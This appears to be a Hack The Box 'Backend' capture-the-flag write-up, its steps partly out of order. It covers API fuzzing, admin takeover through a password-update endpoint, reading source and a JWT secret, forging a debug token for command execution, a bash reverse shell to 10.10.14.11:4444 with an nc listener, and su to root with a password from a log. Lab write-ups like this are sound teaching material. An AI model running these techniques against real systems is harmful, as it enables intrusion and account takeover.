Hackthebox - Backend
Last updated
Last updated
Linux
So we have 2 more endpoints including one that will require to be authenticated
Lets run gobuster again in the api folder
The user gives a 404 and the admin needs authentication
Let's try to fuzz methods as well
We can try this with wfuzz and hide 404 and 405 codes like this wfuzz -X POST -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -u http://10.10.11.161/api/v1/user/FUZZ --hc 404,405
Let's inspect these further with burp
We also need to modify the content type otherwise we will get errors Content-Type: application/json
Login
When trying to login with our user using a json content type it does not work
If we try with the previous content type it works and we get a token bearer
Swaggers are way cuter so let's do the same thing live with intercept on instead of using the repeater
So we have an admin token bearer
According to the passwd we have a user htb, let's keep a note of this info
Let's play a little with this request in the repeater. Let's try to see /proc/self/environ
The working dir is /home/htb/uhc we can try to get the source code using the info from the env file let's try to access /home/htb/uhc/app/main.py It works! Let's paste it to a file and analyse it
If we check the import we can find the config file from app.core.config import settings
Let's get the file in burp "file": "/home/htb/uhc/app/core/config.py" We have the JWT secret in it!
For easiest use on the swagger let's connect with the admin creds we created we just have to click on the Authorize green lock on the top right and enter our credentials
Now we just need to copy the new token and we should be able to execute commands.
Let's try to get a shell bash -i >& /dev/tcp/10.10.14.11/4444 0>&1.
We launch a listener nc -lvp 4444
let's try to see if we can use it to get root
We can finally grab the root flag!! :D :D :D cat /root/root.txt
We get an API endpoint (as expected when seeing the nmap scan)
We get the v1 endpoint that discloses 2 other endpoints user and admin:
Let's see if we get user enumeration by adding an id in the end. We do but only for one id:
Signup
Using this strategy after a few tries (the response will give detailed answers on what is missing to forge the request) we are able to add another user
If we try to login as admin with password "password" or "admin" it does not work
However we did get a jwt token with our user so let's check the endpoints that needed authentication we have to put our token this way in the headers Authorization: bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjUzMTg0MjQ3LCJpYXQiOjE2NTI0OTMwNDcsInN1YiI6IjIiLCJpc19zdXBlcnVzZXIiOmZhbHNlLCJndWlkIjoiNjZkNzU3N2QtNDBiNy00YTUxLTlkNDctMjA1NjFhZmEyZTM3In0.Qv6kCB4alQHqhXfKv6MfcmFNDfL82cPMs2P9mIJ7fuE
We see it is showing /openapi.json this endpoint so we can try to access to see if we get the swagger. And we do!
we request the /docs and modify the intercepted request by adding our token
It looks good it is making a requestion to openapi.json so lets add our token again
And we get the swagger!
There is a SecretFlagEndpoint lets try it out
We get a flag!!
There is also an update pass function let's check it out and try it on the admin which has id 1 so we can take its guid from the user/1 endpoint we found at the beginning. It is worth trying^^
OMG!!! It worked
Let's try to login as admin
It works!
As an admin we really can do interesting things like getting file and running commands!! Let's try an ls
We get an error. It seems like we need to get the jwt token so for this we have to fing the secret
However if we try to get a file it works
Ok now let's inspect the token in jwt.io
Let's try to add our secret now that we have it we need to enter it here:
And according to the error message we have we also need to add a debug flag in it so our payload data looks like this
Let's try our ls again. And it works!
We have to be careful with the & symbol in order for it to not be interpreted as url char. so first lets encode this in base64 we can do it with burp
Now we need to add an echo -n in front of it pipe it to a base64 decode and pipe it to bash so that it gets executed like this
And finally we fully urlencode all of this with burp again we have ti select "URL-encode all characters"
Our payload will look like this
We get a shell!
in the folder we arrive (/home/htb/uhc) we have an auth.log file that is interesting because of something that looks like a password:
We need to stabilize our shell first we can use to do so. so we just need to type python -c 'import pty; pty.spawn("/bin/bash")'
And now we just need to try to login as root using su root and it works!!
